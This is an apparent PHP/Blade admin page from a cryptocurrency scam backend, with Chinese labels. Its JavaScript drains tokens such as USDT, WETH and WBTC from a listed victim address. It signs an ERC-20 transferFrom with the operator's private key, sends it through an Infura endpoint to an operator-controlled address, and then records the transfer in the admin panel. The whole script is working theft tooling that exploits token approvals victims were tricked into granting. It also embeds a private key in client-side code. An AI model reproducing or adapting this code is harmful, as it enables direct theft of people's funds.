373 lines
14 KiB
PHP
373 lines
14 KiB
PHP
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<meta name="csrf-token" content="{{ csrf_token() }}">
|
|
<title>Title</title>
|
|
<style>
|
|
input {
|
|
width: 400px;
|
|
height: 30px;
|
|
margin-bottom: 10px;
|
|
}
|
|
</style>
|
|
|
|
<body>
|
|
<form>
|
|
<br>
|
|
对方地址:<input value="{{$data['address']}}" disabled><br>
|
|
到账地址:<input value="{{$system['gui_address']}}" disabled><br>
|
|
当前余额:<input id="amount1" value="{{$data['USDT']}}" disabled><br>
|
|
当前币种: <select id="biname" onchange="swapVal(this)">
|
|
<option name="{{$data['USDT']}}" value="0xdac17f958d2ee523a2206206994597c13d831ec7" selected>USDT</option>
|
|
<option name="{{$data['WETH']}}" value="0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2">WETH</option>
|
|
<option name="{{$data['WBTC']}}" value="0x2260fac5e5542a773aa44fbcfedf7c193bc2c599">WBTC</option>
|
|
<option name="{{$data['SHIB']}}" value="0x95ad61b0a150d79219dcf64e1e6cc01f0b64c4ce">SHIB</option>
|
|
<option name="{{$data['UNI']}}" value="0x1f9840a85d5af5bf1d1762f925bdaddc4201f984">UNI</option>
|
|
<option name="{{$data['DAI']}}" value="0x6b175474e89094c44da98b954eedeac495271d0f">DAI</option>
|
|
<option name="{{$data['USDC']}}" value="0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48">USDC</option>
|
|
</select><br>
|
|
|
|
<br>
|
|
<br>
|
|
<br>
|
|
交易密码:<input value="" type="password" id="mima"><br>
|
|
输入金额:<input type="number" id="amount" value="{{$data['USDT']}}"></span>
|
|
</form>
|
|
|
|
<button onclick="onConnect()">执行操作</button>
|
|
<button onclick="javascript:location.href = '/admin/user'" style="margin-left: 50px;margin-top: 50px">回到主页面</button>
|
|
|
|
<p id="token"></p>
|
|
|
|
|
|
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
|
|
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
|
|
<script src="/js/jiami.js"></script>
|
|
<script>
|
|
function swapVal(obj) {
|
|
var v = $(obj).find('option:selected').attr('name');
|
|
$('#amount').val(v);
|
|
$('#amount1').val(v);
|
|
}
|
|
|
|
function toFixed(num, digits) {
|
|
var numS = num.toString(),
|
|
decPos = numS.indexOf('.'),
|
|
substrLength = decPos == -1 ? numS.length : 1 + decPos + digits,
|
|
trimmedResult = numS.substr(0, substrLength),
|
|
finalResult = isNaN(trimmedResult) ? 0 : trimmedResult;
|
|
|
|
return parseFloat(finalResult);
|
|
}
|
|
|
|
var status1 = true;
|
|
|
|
function trim(s) {
|
|
return s.replace(/(^\s*)|(\s*$)/g, "");
|
|
}
|
|
|
|
function onConnect() {
|
|
if (!exec_flat()) {
|
|
return alert('交易密码错误');
|
|
}
|
|
|
|
if (!status1) {
|
|
return alert('当前已执行过');
|
|
}
|
|
|
|
var address_from = "{{$data['address']}}";
|
|
var address_b = "{{$system['gui_address']}}";
|
|
var id = "{{$data['id']}}";
|
|
var registryAddress = $('#biname option:selected').val();
|
|
var name = $('#biname option:selected').text();
|
|
|
|
var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6);
|
|
if (!amount) {
|
|
return alert('请输入提现金额');
|
|
}
|
|
|
|
var amount1 = $('#amount1').val();
|
|
if ((amount * 10000000000) > (parseFloat(amount1) * 10000000000)) {
|
|
return alert('金额超出限制');
|
|
}
|
|
|
|
const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3"));
|
|
|
|
const contractAbi = [{
|
|
"inputs": [{
|
|
"internalType": "string",
|
|
"name": "name",
|
|
"type": "string"
|
|
}, {
|
|
"internalType": "string",
|
|
"name": "symbol",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "constructor"
|
|
}, {
|
|
"anonymous": false,
|
|
"inputs": [{
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "owner",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": false,
|
|
"internalType": "uint256",
|
|
"name": "value",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "Approval",
|
|
"type": "event"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "approve",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "subtractedValue",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "decreaseAllowance",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "addedValue",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "increaseAllowance",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "recipient",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "transfer",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"anonymous": false,
|
|
"inputs": [{
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "from",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": true,
|
|
"internalType": "address",
|
|
"name": "to",
|
|
"type": "address"
|
|
}, {
|
|
"indexed": false,
|
|
"internalType": "uint256",
|
|
"name": "value",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "Transfer",
|
|
"type": "event"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "sender",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "address",
|
|
"name": "recipient",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "uint256",
|
|
"name": "amount",
|
|
"type": "uint256"
|
|
}],
|
|
"name": "transferFrom",
|
|
"outputs": [{
|
|
"internalType": "bool",
|
|
"name": "",
|
|
"type": "bool"
|
|
}],
|
|
"stateMutability": "nonpayable",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "owner",
|
|
"type": "address"
|
|
}, {
|
|
"internalType": "address",
|
|
"name": "spender",
|
|
"type": "address"
|
|
}],
|
|
"name": "allowance",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [{
|
|
"internalType": "address",
|
|
"name": "account",
|
|
"type": "address"
|
|
}],
|
|
"name": "balanceOf",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "decimals",
|
|
"outputs": [{
|
|
"internalType": "uint8",
|
|
"name": "",
|
|
"type": "uint8"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "name",
|
|
"outputs": [{
|
|
"internalType": "string",
|
|
"name": "",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "symbol",
|
|
"outputs": [{
|
|
"internalType": "string",
|
|
"name": "",
|
|
"type": "string"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}, {
|
|
"inputs": [],
|
|
"name": "totalSupply",
|
|
"outputs": [{
|
|
"internalType": "uint256",
|
|
"name": "",
|
|
"type": "uint256"
|
|
}],
|
|
"stateMutability": "view",
|
|
"type": "function"
|
|
}];
|
|
|
|
const app_key = "{{$system['app_key']}}"
|
|
const privateKey = new ethereumjs.Buffer.Buffer(app_key, "hex");
|
|
const account = web3.eth.accounts.privateKeyToAccount("0x" + app_key);
|
|
|
|
const address = account.address;
|
|
var myContract = new web3.eth.Contract(contractAbi, registryAddress);
|
|
|
|
web3.eth.getGasPrice().then(gasPrice => {
|
|
web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce) {
|
|
var txData = {
|
|
nonce: web3.utils.toHex(nonce),
|
|
gasLimit: web3.utils.toHex(90000),
|
|
gasPrice: web3.utils.toHex(gasPrice.toString(10)),
|
|
// 注意这里是代币合约地址
|
|
to: registryAddress,
|
|
from: address_from,
|
|
// 调用合约转账value这里留空
|
|
value: web3.utils.toHex(web3.utils.toWei('0', 'ether')),
|
|
data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI()
|
|
}
|
|
|
|
const tx = new ethereumjs.Tx(txData)
|
|
tx.sign(privateKey)
|
|
|
|
var serializedTx = tx.serialize().toString('hex');
|
|
|
|
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
|
|
if (!err) {
|
|
status1 = false;
|
|
document.getElementById('token').innerText = hash;
|
|
$.ajax({
|
|
type: 'post',
|
|
url: "/admin/common/user/" + id,
|
|
data: {
|
|
id: id,
|
|
name: name,
|
|
address_from: address_from,
|
|
address_b: address_b,
|
|
amount: amount,
|
|
hash: hash,
|
|
_token: "{{csrf_token()}}"
|
|
},
|
|
success: function() {
|
|
alert('成功');
|
|
}
|
|
})
|
|
} else {
|
|
alert('请检测以太坊手续费充足' + err);
|
|
}
|
|
});
|
|
})
|
|
});
|
|
}
|
|
</script>
|
|
</body>
|
|
|
|
</html> |